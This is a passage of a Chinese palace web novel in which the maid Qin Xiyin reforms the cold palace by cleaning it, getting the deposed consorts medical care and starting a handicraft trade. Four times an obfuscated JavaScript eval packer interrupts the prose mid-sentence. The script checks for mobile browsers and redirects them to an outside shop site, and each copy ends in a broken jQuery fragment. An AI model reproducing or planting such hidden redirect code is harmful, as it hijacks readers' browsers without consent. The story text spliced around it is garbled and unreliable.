秦惜音一进去,她们就围了过来,还抓住秦惜音的胳膊,纷纷问道:“你是皇上派来的吗?” “皇上什么时候接我出去?” “皇上会封本宫为皇后,对不对?” “皇上为什么这么长时间不来看本宫?” 秦惜音被吵得头疼,同时也有点害怕,便大着胆子说道:“皇上这些天比较忙,他说想见安静一些的妃子。他让我来看你们的表现,如果你们表现好的话,就有机会侍寝。” 闻言,这些妃子都安静下来,纷纷走回了自己的床上,有两个废妃还用双手抱住自己的膝盖,坐着一动不动。 秦惜音开始打扫起来。 这里杂物很多,她只能先把杂物堆到旁边,打扫地面和家具,然后再把那堆杂物一一擦洗。 这是个体力活,一天应该干不好。 那四个废妃就坐在一边,看着秦惜音干活。 秦惜音有些沮丧,心想如果她们不疯就好了,还能帮自己干活。 但是,她又觉得这些废妃很可怜。 她们本来都有不错的出身、姣好的容貌,可一入宫廷,就变成现在这样。 还有之前见到的那个宁太妃,虽然没疯,但日子过得很苦。 秦惜音一边打扫,一边在思考为什么会这样。 她觉得,最根本的原因,是皇权。 皇权可以把一群花一般的少女囚禁在宫里,生杀予夺全由皇帝做主;皇权可以拆散一对有情人,让他们到死都不能相见。 普通百姓也许会对权力有所向往,可是像秦惜音这样接近皇权的人,只能看到皇权吃人的本质。 这也是为什么,她从来没想过成为嫔妃。她宁可在太后这里当一个二等宫女,宁可来冷宫跟一群疯子一起生活。 太后代表后宫女人所能达到的最好结局,而冷宫里的废妃则是后宫女子最差的结局。 秦惜音接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751549|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触过最好的,也接触过最差的,却觉得一切都是皇权的游戏而已。 皇权制定游戏规则,一群女人在规则内互相争斗,拼命厮杀。 即便最后活了下来,获得了至高的地位,也未必是什么好事。 女人总得冲破这牢笼才好。 很快,秦惜音把表面上能看到的垃圾都处理干净了,地板和桌椅也都擦了几遍。 房间里还是有一股怪味,秦惜音决定明天再继续做深度清洁。 这会她干了一个多时辰,口干舌燥的,也很疲惫,需要休息一下。 她自己倒了几杯水喝,水有怪味,也不知道是放了太久,还是水本身不干净。 但她也顾不了那么多了。 她起身离开,打算打扫下一间屋子。 可是,这间屋子里的几名废妃都过来拉住她,说道:“别走……我有东西要交给皇上。” “你去告诉皇上,有空来看我跳舞。” “你别走,你得带我去见皇上。” …… 秦惜音觉得像是有好几只麻雀在自己耳边叽叽喳喳的,哭笑不得。 她对几名废妃道:“几位娘娘出去晒晒太阳吧,这样气色会好些,皇上也会更喜欢。这会皇上没空,我也不走,我只是去另一间屋子。” 这些废妃们果真出去晒太阳了,在外面继续吵闹,秦惜音也顾不上她们。 让她们晒晒太阳也好,能增强体质。这是少数不花钱就能保养身体的方式了。 等她们离开,秦惜音才发现,这几个废妃的床铺也很脏,床单、被罩都像是很久没洗了。 她打算给废妃们替换干净的床单被褥,就去问古嬷嬷有没有替换的,古嬷嬷说没有。 秦惜音没办法,只能先洗两张床上的床单、被罩、枕巾等物品,把被褥拿到阳光下晒一晒。 然后她告诉那四个弃妃,让她们这几天先挤在另外两张床上,等自己把被套床单洗干净、晒干之后,再回到自己的床位上。 她们答应了,但看起来呆头呆脑的,秦惜音也不知道她们听没听懂。 好不容易洗完床单被罩,就见郁太医提着药箱过来了。 秦惜音赶紧迎上去。 郁太医问道:“一共有多少病人?” “大概有几十个,您受累,都给看看吧。一天估计看不完,以后您有时间就过来,我多给您一些诊金。” 郁太医点头:“今天天色已晚,我估计只能看四五个,就得走了。” “好。” 秦惜音觉得,疯病应该不是一下子能治好的,就先带郁太医去看那几个生病卧床的病人。 郁太医给其中的四个诊治了,发现两个是风寒,一个是常年的咳疾,还有一个是产后失调导致的气滞血瘀。 郁太医道:“风寒比较好治,我开几副药,你记得按时煎给病人喝。还有,晚上可以用生姜、艾草、紫苏等泡脚,可以加速痊愈。我这还有一种鼻烟,也送给你吧。 病人若是鼻塞、呼吸不畅,你可以让她们嗅一嗅鼻烟,可以让呼吸通畅。” 秦惜音点头:“麻烦郁太医了。那另外两个怎么治?” 23. 两全其美 “那位得咳疾的姑娘,因为已经有三四年的病史了,不太好治,而且她身体亏损得厉害,如果元气不足,咳疾没法根治。我只能先给她开几副药,你先给她吃着,我有空来给她扎针。还有,日常饮食要注意,多吃点有营养的。” 秦惜音皱了皱眉,觉得有些为难。 冷宫缺钱,她也知道要给病人吃好的,但钱不够。而且病人太多…… 也只能先给她们喝汤药了。 郁太医接着说道:“那位得了产后病的废妃我认识,她是先帝的顺才人,因屡次滑胎,有一回好不容易生下孩子,却是个死胎,被认为是不祥之人,所以被打入了冷宫。 她屡次怀孕、滑胎,都没有好好调理,身体亏虚,再加上这也是陈年痼疾,至少有二十年了,治起来挺难的,我只能慢慢给她调理。要想治愈,不太可能。” 秦惜音有些担忧,但也只是说道:“好的,辛苦郁太医了。” 郁太医短短几句话,又描绘出了一位可悲女子的一生。 那位顺才人,屡次小产,后来又生下死胎,真的是身体原因吗?还是被人害了? 宫闱之中有太多秘密,知道得越多,就越对人性失望。 秦惜音先付了这一次的诊金和医药费,付完之后,公账上还剩九两银子。 郁太医开的方子都不贵,尽量减轻了秦惜音的负担。 不过,郁太医也说明,一些陈年旧疾治疗起来费时费力,以后还有的是花钱的地方。 再加上今天才看了四个病人,以后把所有病人都看了,医药费加起来也是一笔不小的开销,让秦惜音先做好心理准备。 秦惜音点了点头。 她发现,要担事很难。光是给病人治病这一件事,就让她肩头沉甸甸的。 但是,不管多难,她都要把冷宫的担子给挑起来。 秦惜音接着说道:“郁太医,我还有一件事求你。我想了个生财的法子,就是让冷宫里的人做一些小商品拿出去卖。但首先,得有原材料,比如食材、布匹等等。 其次,得有中间人帮忙把商品拿出宫去。还得找稳妥的人帮忙卖,得是忠厚老实的人,不会侵吞利润的那种。 这样,冷宫也许能逐渐自给自足。不知您有什么好门路吗?” 郁太医道:“提起这个,我倒有个合适的人选。你还记得徐二娘吗?” “记得,她是画师徐绍的二女儿。” “对。徐绍不是因为杀人被判了死刑吗,徐二娘也因为倒卖宫中物品,被判处免费劳动六个月,在她生完孩子之后执行。 虽然对徐二娘的处罚很轻了,但徐二娘失去了父亲,家中生计又艰难,生完孩子后还要参加社会劳动六个月,顾不上家里,就更缺钱了。 而且,不止是她,她的姐妹们也很需要钱。宫廷画师收入尚可,但徐绍实在生了太多孩子,而且钱也被徐绍花得差不多了。 徐家大一些的女儿们都出嫁了,各自生了好几个孩子,每一家都很穷;几个年纪小的跟病重的母亲一起生活,也没有生财之道。 徐二娘前几天又进宫了一趟,来到图画院,跟我们说了这些困难,希望我们给她找个赚钱的门路,最好是能分给她的姐妹们做的那种,也不需要什么技术。 我当时只是接济了她一笔钱,但对于她的请求,我还没想到什么好办法。 如今看来,您不如委托徐家姐妹帮您弄原材料,并且等商品做好之后,由她们摆摊卖出去,让她们赚点佣金,岂不两便?” 秦惜音欣喜道:“太好了……只是,是我查清了徐绍杀人的真相,让徐绍被判处死刑;也是我查到徐二娘倒卖宫中物品,害她被处罚。不知道她愿不愿意跟我合作?” “放心吧,徐二娘是通情达理的人,她和她爹犯的罪,本就是罪有应得,怪不到你头上。由我做个中间人,帮你们牵线。谈妥了之后,你们再找个合适的人帮你们双方传递物品。 我毕竟是男的,来后宫不太方便。 另外,徐二娘的姐姐徐大娘家里是养蚕织布的,你直接把徐大娘家的布买了,运进冷宫,让冷宫的人拿来做衣服或是做背包、荷包什么的,做好之后,交给徐家姐妹卖掉,获得的利润两边分成。 徐三娘家里开了间杂货铺,你们冷宫要做糖水,需要什么食材,可以直接低价从徐三娘家买。 另外,徐四娘的夫婿经常在河道做工,可以帮忙挖一些黏土,运到冷宫,方便你们捏泥人或是捏各种小玩意。 徐家的五娘、六娘都有摆摊的经验。 总之,您若是跟徐家姐妹合作,很多原料都不用愁了,做好的商品也不愁卖。” 秦惜音喜道:“太好了,这真是瞌睡就有人送枕头啊。徐太医,麻烦您先帮我带五十两银子出去,如果徐二娘同意跟我合作,这笔钱就用来向徐家姐妹买原材料。 等原材料运进冷宫,我再组织冷宫的人做成各种小商品,然后运到宫外,由徐家姐妹拿走卖掉,卖得的钱按比例分。” 郁太医道:“没问题。” “太感谢您了!如果这事能办成,以后我一定给您包个大红包!” “那倒不用了,只要能帮到你们就好。另外,还有两件事。第一件,你要往宫外卖东西,即便是冷宫里的人自己做的,也得先向太后娘娘说明,过了明路才好。 第二件事,我进出冷宫不太方便,你平时可以去找尚食局的司药、典药、掌药等女官,她们也懂医术,而且储备了许多药。如果她们愿意来给冷宫的人治病,再好不过。” 秦惜音十分感激:“嗯,谢谢郁太医,我知道了。” 商议完毕后,郁太医就赶紧离开了。 大约半个时辰后,有个小太监过来了,说是郁太医让他送药来。 秦惜音认得这小太监,知道他是郁太医的下属,因此便收下了药。 没想到,这小太监竟不收打赏,他说郁太医有吩咐,无论给谁跑腿,都不许收赏银,行医送药本就是他们分内之事。 见小太监坚持,秦惜音也就随他去了。 这会已是黄昏时分,大家吃过了晚饭,秦惜音就亲自给病人煎药。 她本来想叫个宫女来做,但一来宫人们今天打扫卫生,应该都挺累了;二来她初来乍到,也要做个表率,让人知道她是真心做事的。 因此,她就亲自拿了炉子、煤炭,在院子里煎药。 煤炭果然所剩不多,到了天冷的时候,应该不够用的。但也只能先把今天对付过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751550|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去再说。 多治好一个病人,就多一个人做事或干活,冷宫的财务也会进入正向循环。 如果赚钱足够多的话,就可以打点尚功局的人,让她们多给些煤炭;或是自己从宫外买些煤炭也成。 这时,小太监双喜探头探脑地过来了,问道:“惜音姐姐,你在熬药吗?我能喝吗?” 秦惜音失笑:“这是药,你喝什么?又不是什么好东西。” “我虽然没病,但喝一点药,可以预防一下嘛。” “去去去,别添乱了。” 这时,古嬷嬷和太监小叶子过来了。 古嬷嬷有些生气,道:“惜音,你在做什么?” 秦惜音耐着性子说道:“我在给病人熬药。今天郁太医来过,给其中几个病人开了药,我得让她们早点喝上。” 古嬷嬷板着脸道:“你不知道冷宫里煤炭很珍贵吗?现在才刚入秋,等到了冬天,烧炭的时候多着呢,这点炭根本不够。现在,你还要用来熬药?” “我只知道,冬天还没到来,而病人现在就需要喝药。船到桥头自然直,等到了冬天,我自有办法解决煤炭的事。还有,古嬷嬷,我虽敬您是宫中的老人,但现在冷宫的主管是我,还请您注意言辞和态度。” “你……” 古嬷嬷气极了,一时不知道该如何反驳。 太监小叶子道:“惜音姑娘,您可不能拿着鸡毛当令箭。冷宫的事,还是古嬷嬷最清楚。很多事,您最好听她的。” 秦惜音看着他,不徐不疾地说道:“你叫小叶子是吧?看样子,你很信任古嬷嬷,但一点也不信任我。没关系,时间会证明一切,你可以慢慢看着。我无论做什么事,都是为了冷宫众人的共同利益。 有句话叫做水涨船高,我把冷宫治理好了,你也会因此受益。以后你就知道了。 至于现在,你身为一个三等太监,还没有资格教训我。” 小叶子有些不服,但也不敢再顶嘴。 很快,药熬好了,秦惜音亲自端给病人们喝。 她还把郁太医给的鼻烟拿出来,给那两个得了风寒的病人闻。 病人闻了一下,都打了喷嚏,擤出了很多鼻涕,呼吸顺畅了很多。 她们两个都非常感激秦惜音,说道:“惜音姑娘,等我们病好了,您需要我们做什么,尽管吩咐。” 秦惜音笑道:“不急,先好好养病。本来应该给你们弄点好吃的,但现在我事情又多,钱又不够,只能先委屈二位太妃了。好在药的份量足够,我连续给你们喝几天,你们应该就好了。等晚上临睡前,我再用生姜和艾草给你们泡泡脚。” 这两个废妃都非常感动。 其中一个哭了,一时说不出话来。另一个感叹道:“自从被废,进入冷宫,我们见到的都是冷眼、白眼,你是第一个这么关心我们的。没想到还有今日……” 秦惜音道:“两位太妃不必伤感,以后的日子还长着呢,一定会越来越好的。” “我们已经是废妃,人生没有指望了,只不过是熬日子罢了。” “皇帝虽然放弃了你们,但不代表你们的人生没有意义啊。” 听见这话,两位废妃都眼前一亮,仿佛拨云见日。 24. 重获新生 其中一位姓钱的太妃说道:“没错,我当年被打入冷宫,我自己并没有选择权,只能被迫接受命运。从今天起,我要振作起来。惜音,我会画扇子。等我好了以后,给我弄一些空白扇面和颜料来,我画一些扇子,你拿出去卖卖看,应该能卖几两银子。 这样,冷宫的公账充裕了,我也能挣点养老钱,岂不是好?” 秦惜音惊喜道:“太好了,那钱太妃您好好养病,我等着卖您的扇子呢。” 钱太妃点头道:“嗯,我得再练练。好多年没画,手生了。当初,学琴棋书画是为了让自己有个好名声,为了跟皇上有共同语言,为了争宠……但现在我才发现,学技能也可以是为了自己。我今天才算是活明白了……” 听钱太妃这么说,秦惜音有一种想哭的冲动。她忍住了,免得把两位太妃都带得想哭,破坏了好不容易建立起来的气氛。 另一位王太妃也说道:“等我病好了,我也想出一份力。可惜我各项技能都学得不太好,只有这字拿得出手。我可以抄书卖钱。听说很多人都想买书,但书籍的印刷并不容易,所以很少有人能买到想要的书。 很多人都是借书抄写,抄完了再把原本归还。也有人直接买别人写好的手抄本的。 只要我足够勤奋,多抄写几本,也能挣钱。” 秦惜音点头:“嗯,这也是个好主意,咱们一起挣钱!” 晚上,秦惜音给两位太妃准备了泡脚水。 郁太医送来的艾草、紫苏、生姜有很多,秦惜音也给其他感染风寒的病人泡脚。这样,就把患同一种病的人一起治了。 等忙完了,秦惜音回到自己的房间。 这一天她干成了很多事,既有体力活,又有脑力活,累得不行,只想放空自己。 这时,她却听见门外传来敲门声。 “谁啊?” “惜音姐姐,我是小汤圆。” 原来是另一个太监小汤圆,秦惜音打开了门,让他进来,问道:“你有什么事吗?” 小汤圆朝秦惜音伸出了手,手上是几颗碎银子。 秦惜音笑道:“这是?” 小汤圆:“这是给惜音姐姐的。” “这钱是哪来的?为什么给我?” “以前,古嬷嬷贪污冷宫的公账,她自己拿得最多,其次是她的干儿子小叶子。我们也会分到一些,但不多。我分到的赃款都没花,全在这儿了,上交给你。” 秦惜音非常惊讶。 今天这一整天,她都没有好好注意这个小太监。 小汤圆长得憨憨的,略显木讷,话也不多。白天的时候,秦惜音训话,他也没顶嘴,也没露出不服的表情,只缩着脑袋站在众人后面,显得很没存在感。 秦惜音只知道他话少,没想到他还是个老实人。 秦惜音笑道:“我说了,以前的事,既往不咎。这些钱你留着花吧。” 小汤圆却摇了摇头:“不行,赃款就是赃款,不能花。” 说着,小汤圆执拗地把碎银子交给了秦惜音,秦惜音只得收下。 小汤圆也没说什么别的话,直接就走了。 秦惜音叫住他,问道:“小汤圆,你本名叫什么?” “我以前叫汤海平,进宫后总管太监给我取名叫小汤圆。” “嗯,你去吧。” 秦惜音估算了一下,小汤圆给的银两大约有二两。钱虽然不多,但心意难得。 秦惜音把钱归入公账,现在公账大概还剩11两银子。 第二天,秦惜音起了个大早,拿了纸笔来,写下自己这几天要做的事。 她今天得去太后那儿走一趟,还得派个人去尚食局找女医们,看有没有女医愿意来冷宫治病救人。 这里一共有三名年轻宫女,其中东风和甘雨比较沉默寡言,东风更是一直板着一张脸,好像全世界都欠她钱。 让她们俩去跟人打交道,肯定是不合适的。 还有一个小宫女叫子规,长得漂亮,人看着也机灵,说话也灵活。 因此,秦惜音准备让子规去请女医们。 不过,她来到其他宫女的住所,发现东风、甘雨都已经起来了,正准备洗漱,而子规睡得正香。 秦惜音把子规叫起来,让她去尚食局跑一趟腿。 子规虽然有点不情愿,但还是赶紧收拾自己,穿好衣服,出发了。 秦惜音嘱咐另外两个宫女好好打扫卫生,然后就去了太后宫里。 太后起得早,每天早晨都有散步的习惯。 因此,秦惜音很快就在寿康宫的花园见到了太后。 她跟太后说了,自己想让冷宫的人制作商品,再拿出去卖的事,太后笑道:“你能想到这个主意,很不错。如果冷宫的人能自给自足,也算是你的功劳。这事哀家准了,不过哀家不会给你提供其他帮助。 怎么进原材料,怎么找销路,怎么找中间人,这都是你自己要操心的事。” 秦惜音感激地应道:“是,多谢太后娘娘允准,奴婢这就告辞了。” 秦惜音走后,太后身边的一等宫女入夏笑着说道:“太后娘娘,这个惜音真是聪明又能干,不过去冷宫一天,就想出这么多章程来。听说,她还几句话就把冷宫的老人们治得服服帖帖,实在是个不可多得的人才。” 太后笑着拍了拍她的手:“是啊,哀家看人的眼光不会错的。惜音本就是相府千金出身,精通六艺,娴于管理。更难得的是,无论她处在什么地位,都能不卑不亢,积极向上。日后,她的前途不可限量。” 入夏道:“太后说的是。” 这时,旁边的另一个宫女露出了深沉的目光。 —————— 秦惜音回到冷宫后,先给几个病人煎了药,看着她们服用。 然后她就拿起打扫工具,继续打扫自己负责的区域。 今天,她打算做深度清洁。 先用热水倒在地面上,过一会再用干净的布擦拭。 热水去污效果好,能让地面更干净。 不过,这只是第一步。后续她还会用到皂角、草木灰等物品。 这都得益于她之前进行宫女培训时,对教习嬷嬷教的每一件事都用心去学、用心去记,现在关于打扫的知识,就派上用场了。 打扫了一会,宫女子规回来了,脸色不太好。 子规跑到秦惜音面前,说道:“惜音姐姐,我刚才去尚食局找那些女医官了,可她们不愿意给冷宫的人看病,也不愿意分一点药材给我们,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751551|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说……” “还说什么?” “她们还说,冷宫的人何必治病,身份比宫女太监还不如,生病了熬着就是了,没资格吃药。” 秦惜音皱了皱眉,这可不是医者该说的话。不过,那些女医官除了是大夫,也是官员,有架子也正常。 子规的声音虽然不大,但院子里有一些废妃在活动,她们也听见了子规的话。 除了少数疯子外,其他人都听懂了子规在说什么,脸色难免不太好。 秦惜音让子规去忙,然后对面前的弃妃们说道:“别担心,女医们不愿意来,还有太医。总之,我一定会想办法治好诸位的病。” 有些弃妃说了一些感激的话,也有些弃妃低着头,没说什么,似乎不相信秦惜音。 秦惜音知道,她们的观念不是一朝一夕能改变的,也没有继续说什么,而是接着打扫起了卫生。 午饭过后,郁太医又来了,跑得气喘吁吁的。 秦惜音像看见了亲人一般,迎了上去,问道:“郁太医,您怎么又来了?” 郁太医道:“我记挂着冷宫里的病人,昨天不是才看了四个吗,今天可以接着看几个。不过,我今天太忙了,只能趁着午休的时候过来,等会还要回太医院去干活。” 秦惜音点了点头,没有再浪费时间,让郁太医接着去看那些身体有疾的病人。 郁太医趁这会功夫,又看了三个病人,给她们各自开了药,说是一会派小太监送药来。 秦惜音给了他十两金子,道:“郁太医,这段时间可能会经常麻烦您,这十两金子是我预付的诊金和医药费,什么时候用完了,再跟我说,我这儿还有。” 郁太医惊讶道:“姑娘,这是你自己的钱吧?我看,你可以先不用急着付诊金,先赊账,以后冷宫的公账上有钱了再给我。” “郁太医就别推辞了,您都能为病人奔波劳碌,我岂不能为病人垫付诊金?我知道您好说话,但若是谁都向您赊账,您自己的日子怎么过?” 见秦惜音如此坚持,郁太医只得收下了。 郁太医又问起秦惜音,是否去请女医官了,秦惜音据实相告。 郁太医想了想,道:“女医们不愿意来,那也罢了。我在太医院还有一二好友,我跟他们商量,轮流来给这里的弃妃们义诊,问题不大。还有,我这里有几本基础的医书,给你看一下。 你一直在冷宫,学会一些简单的医术,也能更方便地给她们诊治。还有,以后如果有机会,我找人教妇科的医学知识给你。女人的很多疾病,男大夫不太方便看。所以之前我叫你找女医帮忙。 女医既然不肯帮,你就自己学,没什么大不了的。” 秦惜音点头:“嗯,谢谢您……只是,我不知道能不能学会。” “任何知识都是从无到有,从不会到会,只看你肯不肯花功夫。惜音姑娘这么聪慧,我想一定能很快学会的。” “谢谢您的信任……” 郁太医从药箱里拿出几本很薄的书册,递给秦惜音,让她好好研读。 秦惜音又问起徐二娘的事,郁太医道:“今日徐二娘没来,这件事我还没来得及办。等下次徐二娘过来了,我再说服她跟你合作。一旦有消息,我会立刻通知你的。” 25. 合作愉快 “好,多谢郁太医了。” 郁太医走后,秦惜音翻了翻那几本医书。 医书上的字不多,有一本医书上画了常见的草药,并介绍了功效。 还有一本医书上有一些常见的方子,并说明了治疗什么病,比如治疗风寒的桂枝汤、治疗脾胃气虚的四君子汤等等。 第三本医书上写了一些快速治病的窍门,不过都是治疗一些简单的病。 秦惜音先粗略地通读了一遍,打算找个机会好好看看,把里面的内容记下来。 接下来的几天,果然有两个不同的太医来冷宫给废妃们治病。郁太医有空时也会过来。 没过多久,所有身体有疾的人都已经诊治完毕。她们当中有的是小毛病,有的是大病或重病,调理方式不同,秦惜音都一一记下。 遇到有些被疾病折磨得不想活的废妃,秦惜音就安慰、鼓励她们,天天嘘寒问暖。 她们见秦惜音都不放弃,自己更不好意思放弃了,也增加了抗击病魔的决心。 郁太医那边源源不断地送药过来,有的药材很便宜,但也有一些珍贵且稀少的药材。秦惜音都分门别类,给不同的病人用。 秦惜音估摸着,自己给郁太医的那十两金子快用光了。但是郁太医始终没提这件事,每次秦惜音说要补钱,郁太医就说上次的钱还够用。 秦惜音决定,等以后有钱了,问郁太医要账本,把缺的钱如数补上。 这几天,她一边打扫卫生,一边给废妃们治病,一边抽空学习医术,忙得不可开交,但她却觉得很充实。 像双喜、小汤圆、甘雨等宫人,也会抽空帮她的忙。 福公公身体不好,秦惜音让他尽量多休息,不要劳累。 古嬷嬷和小叶子不仅不好好干活,还总是窥视秦惜音这边,秦惜音也懒得管她们。 这天,郁太医告诉秦惜音,徐二娘已经同意跟她合作。具体的合作方案,需要两个人见面商议一下。 还有,内宫和外宫之间通过乾元门相连,如果内宫要运东西出去,需要经过乾元门侍卫的许可。 换句话说,这方面的关系,需要疏通一下。 但徐二娘只是普通人,没有能力疏通关系。这件事,也需要秦惜音费心。 秦惜音十分欣喜,对郁太医说道:“郁太医,多谢您帮忙牵线。冷宫的人已经准备好了,随时可以参与劳动。请您安排我和徐二娘见一面吧。” 郁太医道:“没问题,徐二娘就在图画院那边等着你呢,你现在有空的话,就可以过去。” 秦惜音赶紧跟着郁太医走,顺便还带上了纸笔。 很快,两人来到了图画院。 徐二娘站在庭院里等着,她肚子比之前突出了一些,但人憔悴了不少,看着也比以前瘦了十几斤。 看来,她家里的变故,对她的影响还是挺大的。 秦惜音心情有些复杂,但还是装作没事人一样走过去,跟徐二娘打招呼。 徐二娘也客气地说道:“惜音姑娘,听说您愿意跟我合作,一起挣钱?” “嗯,你们徐家人的布匹、食材、陶土等原材料,可以低价卖给我,因为我需要的量比较大。我买进来后,由冷宫的人制作成商品,再由你们姐妹去摆摊卖出去,卖得的利润大家分成。我想,这样的合作方式应该是你们需要的。” 徐二娘点头道:“嗯,这再好不过了。你们那边需要的原材料,正好我们都能提供大部分。我们提供不了的,我们姐妹可以帮你去采购,保证买到物美价廉的东西,你可以放心。” “嗯。具体的细节,我们找间空屋子聊吧。” “那就去我爹原先的屋子吧。” 秦惜音心中一沉,心上像压了块大石头。徐二娘倒不太在意,带着秦惜音来到了徐绍之前住的房间。 这里没人,她们两人商定了一些细节,并签了合同。 之前秦惜音拿了五十两银子的货款,托郁太医交给徐二娘,徐二娘也说收到了。五十两银子暂时够用了,等以后钱不够了,她再跟秦惜音说。 接下来,就剩下打通关系了。 这事得秦惜音自己办,徐二娘准备离开了。 秦惜音道:“我送你吧。” “不用了,我自己能走。” 徐二娘往外走去,走得很稳。她不是那种需要人特别照顾的弱女子,生活的重担从未将她压垮。 徐二娘离开后,郁太医来找秦惜音,说道:“目前冷宫里身体有疾的太妃都已经诊治完毕,她们当中有的很快就能好,有的需要长时间服药和调理,这都是小事。 至于那几十个疯了的太妃,我找时间跟我的朋友们一起来会诊,大概需要抽出一两天的空闲时间才能看完。等我有时间了,会通知你,你提前做好准备。 有些疯子会伤人,你需要提前把她们绑好。” 秦惜音点头:“好,有劳郁太医了。” 接着,秦惜音离开了图画院。 她想起,尚食局的女史松月曾经提过,自己有个舅舅在乾元门当差。 秦惜音决定去求助于松月。 于是,她一路小跑,来到了尚食局,偷偷找到松月。 松月惊喜道:“惜音,你怎么来了?这会不是吃午饭的时间。” “我有事求你。” 秦惜音把冷宫里要做买卖,需要乾元门侍卫通融的事说了。 松月道:“没问题,我去找我舅舅商量一下。我舅舅当值的时候,你们再运商品出去好了。他每三天轮值一次,应该没问题吧?” “没问题,冷宫的人手速也没那么快,也需要好几天才能凑够一批商品。” “那好,我有空去找我舅舅一趟。等有结果了,我托人告诉你。反正你们冷宫的宫人,每天都会来拿饭菜,我要转告你什么消息也很方便。” “嗯,谢谢你了。到时候,我会定期给你和你舅舅一个红包。” “那就不用了,你带着冷宫的人赚点小钱,也挺不容易的。等你们有钱了再说吧。” “嗯。对了,你最近如何了?” “还是老样子,我总是被打压……不过我想,新人总要经历这一阶段的,我是不会被打垮的。女官的名额就那么些,如果我们这些末等女史太出彩了,女官们该怎么办呢?她们的心理,我能理解一些。” “你能这么想就最好了。其实以你的手艺,做个典膳、掌膳之类的女官,完全可以。不过得熬资历。对了,你当女史,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751552|190012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己考进去的吗?” “是的,各个宫的一等宫女做满一年后,就有考女官的资格。如果考上了,就先从末等女史做起,慢慢升上去。你问这个,是不是也想考女官?” “是的。不过我现在还只是二等宫女,离考女官还远得很。” “太好了,我觉得你很适合当女官,一定要加油啊。不出意外的话,再过一两年,你也就有考试资格了。” “嗯,借你吉言。到时候,我还要向你学习经验呢。” “你尽管问,我知无不言。” 秦惜音觉得心里暖暖的,她又跟松月说了几句话,就回到了冷宫。 第二天,松月就通过双喜传话,说他舅舅同意冷宫运送东西出去了,只要在她舅舅当值的日子运出去就好。 秦惜音十分开心。 更让人开心的是,有好几个生病的废妃恢复了健康。她们原先得的是小病,因为没人管,得不到治疗,才拖到现在的。 现在,秦惜音来了,而且对她们的病情非常上心。她们有药吃,伙食变好了,还能经常跟秦惜音聊天,心情也好,所以好得很快。 而且,痊愈的这几个废妃,都是有技能在身的,可以加入赚钱的队伍。 秦惜音传信给宫外的徐二娘,说是可以开始合作了,并在信中写明了需要哪些原材料,让她尽快准备好。 徐二娘也回信说,会尽快准备,让她放心。 接着,秦惜音开始考虑让每个人做多少手工。 有的东西做得快,而且不费劲;也有的东西费时费力,不能一刀切。 比如,做食物有固定的方法,熟练了之后不费脑力,而且做得快;但如果是做衣服、做包,需要有一定的设计,跟市面上的产品区分开,可能要花好几天去构思,然后才能动工。 于是,秦惜音把做手工的人都聚集起来,跟她们商量每天的工作量。 大家都根据实际情况,提出了合适的工作量,秦惜音一一记下。 这时,有个叫如梦的宫女说道:“我会做糖水,但是糖水做好后得尽快喝掉。如果运出宫去,时间太长,会坏掉。这该怎么办?” 秦惜音道:“糖水这种商品,确实不适合运出去卖。先不说保鲜的问题,光是避免洒出来,就要很费心。这样吧,你熬的糖水就给冷宫里的人喝,给大家都改善一下伙食。 大家喝了糖水,心情也能好一些,生病的人说不定也能快点好。你每日多煮一些,如果有过路的宫人,你就分给他们喝,结个善缘,增加冷宫的人脉。 我也不叫你白干,你就当我的下属,我给你发俸禄,怎么样?” 如梦道:“如果能这样安排,就太好了!惜音,我都听你的。” 如梦是个四十多岁的宫女,她本来是跟着她家主子进冷宫的,后来她家主子死了,她也被迫在冷宫里住着。 她以前虽然是宫女,但在冷宫里只是一个罪人,并不是在冷宫供职的宫人,所以没有钱。 现在,秦惜音按照正经宫女的俸禄给她发钱,也算是帮了她。 有个被废的女官说道:“还有一个问题。冷宫里有几十个疯子,她们的行为是不可控的。万一我们做好了商品,被那些疯子毁坏了怎么办?” 26. 公主出嫁 